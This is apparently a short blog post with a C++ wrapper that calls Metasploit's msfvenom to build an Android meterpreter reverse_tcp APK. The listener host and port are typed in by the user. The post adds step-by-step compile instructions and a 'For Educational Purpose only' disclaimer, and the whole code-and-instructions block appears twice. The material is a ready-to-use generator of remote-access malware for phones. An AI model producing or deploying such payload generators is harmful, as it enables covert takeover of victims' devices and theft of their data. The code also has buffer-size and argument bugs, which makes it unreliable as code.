#include<iostream>
#include<stdio.h>
#include<string.h>
using namespace std;
int main()
{
char a[100]="msfvenom -p android/meterpreter/reverse_tcp LHOST=",ip[20],port[4];
printf("Enter the Local Host\n");
scanf("%s",&ip);
printf("Enter PORT through which you want to listen\n");
scanf("%s",&port);
printf("Please Wait");
strcat(a,ip);
strcat(a," LPORT=");
strcat(a,port);
strcat(a," R > /root/Desktop/a.apk");
system(a);
return 0;
}
NOTE
ONLY LINUX USERS
METASPLOIT FRAMEWORK REQUIRED
To compile the program
First copy the code in leafpad and save it as whatever.cpp
1. Open Terminal and navigate to the directory containing this file
2. Type g++ whatever.cpp
3. ./a.out
4. Thats all
An apk will be generated in the desktop
For Educational Purpose only.
#include<stdio.h>
#include<string.h>
using namespace std;
int main()
{
char a[100]="msfvenom -p android/meterpreter/reverse_tcp LHOST=",ip[20],port[4];
printf("Enter the Local Host\n");
scanf("%s",&ip);
printf("Enter PORT through which you want to listen\n");
scanf("%s",&port);
printf("Please Wait");
strcat(a,ip);
strcat(a," LPORT=");
strcat(a,port);
strcat(a," R > /root/Desktop/a.apk");
system(a);
return 0;
}
NOTE
ONLY LINUX USERS
METASPLOIT FRAMEWORK REQUIRED
To compile the program
First copy the code in leafpad and save it as whatever.cpp
1. Open Terminal and navigate to the directory containing this file
2. Type g++ whatever.cpp
3. ./a.out
4. Thats all
An apk will be generated in the desktop
For Educational Purpose only.
No comments:
Post a Comment